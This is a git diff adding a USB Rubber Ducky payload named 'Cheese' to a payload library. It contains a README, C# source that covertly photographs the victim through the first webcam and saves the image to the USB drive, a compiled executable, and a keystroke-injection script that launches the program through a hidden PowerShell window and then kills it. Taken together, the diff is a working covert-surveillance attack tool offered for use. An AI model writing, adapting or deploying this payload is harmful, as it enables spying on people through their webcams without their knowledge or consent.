diff --git a/payloads/library/general/Web_cam_photo_taker/README.md b/payloads/library/general/Web_cam_photo_taker/README.md new file mode 100644 index 000000000..02d9602df --- /dev/null +++ b/payloads/library/general/Web_cam_photo_taker/README.md @@ -0,0 +1,9 @@ + ## About: +* Title: Cheese +* Description: Cheese is a Rubber Ducky Script that will execute cheese.exe which will take a photo from the webcam and save it to rubber ducky. +* AUTHOR: Pinguino-HK +* Version: 1.0 +* Category: General. +* Target: Windows. +* Attackmodes: HID STORAGE. +* SourceCode: The srouce code of cheese.exe can be found in cheese.cs, it s .NET C# application. \ No newline at end of file diff --git a/payloads/library/general/Web_cam_photo_taker/cheese.cs b/payloads/library/general/Web_cam_photo_taker/cheese.cs new file mode 100644 index 000000000..80c412417 --- /dev/null +++ b/payloads/library/general/Web_cam_photo_taker/cheese.cs @@ -0,0 +1,82 @@ +using AForge.Video.DirectShow; +using System; +using System.Drawing; +using System.IO; + +class Program +{ + private static FilterInfoCollection GetVideoDevices() + { + return new FilterInfoCollection(FilterCategory.VideoInputDevice); + } + + static void Main(string[] args) + { + + DriveInfo[] drives = DriveInfo.GetDrives(); + string usbDriveLetter = ""; + + foreach (DriveInfo drive in drives) + { + if (drive.IsReady && drive.VolumeLabel == "DUCKY") + { + usbDriveLetter = drive.Name; + break; + } + } + + if (usbDriveLetter == "") + { + Console.WriteLine("USB drive 'DUCKY' not found."); + return; + } + + + // Get available video devices + var videoDevices = GetVideoDevices(); + + if (videoDevices.Count == 0) + { + Console.WriteLine("No video devices found."); + Environment.Exit(1); // Exit the application with an error code + } + + // Select the first video device + var videoDevice = videoDevices[0]; + + // Create video source + var videoSource = new VideoCaptureDevice(videoDevice.MonikerString); + + // Start capturing + videoSource.Start(); + + // Wait for a short period to ensure camera is ready (adjust as needed) + System.Threading.Thread.Sleep(2000); + + // Capture the frame + videoSource.NewFrame += (sender, eventArgs) => + { + // Capture the new frame + Bitmap bitmap = (Bitmap)eventArgs.Frame.Clone(); + + // Save the bitmap to a file + // + //string filePath = @"D:\image.jpg"; + //string filePath = Path.Combine(usbDriveLetter, "\\:image.jpg"); + string filePath = usbDriveLetter + @"\image.jpg"; + bitmap.Save(filePath); + + Console.WriteLine("Image saved to " + filePath); + + // Stop capturing + videoSource.SignalToStop(); + videoSource.WaitForStop(); + + // Exit the application + Environment.Exit(0); + }; + + // Wait for capturing to finish (This line should be removed if not waiting indefinitely) + videoSource.WaitForStop(); + } +} diff --git a/payloads/library/general/Web_cam_photo_taker/cheese.exe b/payloads/library/general/Web_cam_photo_taker/cheese.exe new file mode 100644 index 000000000..ef38eee28 Binary files /dev/null and b/payloads/library/general/Web_cam_photo_taker/cheese.exe differ diff --git a/payloads/library/general/Web_cam_photo_taker/payload.txt b/payloads/library/general/Web_cam_photo_taker/payload.txt new file mode 100644 index 000000000..bfc157d19 --- /dev/null +++ b/payloads/library/general/Web_cam_photo_taker/payload.txt @@ -0,0 +1,14 @@ +REM Author: Pinguino-HK + +REM Cheese is a Rubber Ducky Script that will execute cheese.exe which will take a photo from the webcam and save it to rubber ducky. +REM The speed delay can be adapted/modified +REM the ALF F4 is only if the target had autorun which will pop the Ducky folder + +ATTACKMODE HID STORAGE +DELAY 5000 +ALT F4 +ESC +DELAY 2000 +GUI r +DELAY 1000 +STRINGLN powershell -WindowStyle Hidden Start-Process -FilePath ((Get-Volume -FileSystemLabel 'DUCKY').DriveLetter + ':\cheese.exe'); Start-Sleep -Seconds 7; taskkill /F /IM cheese.exe \ No newline at end of file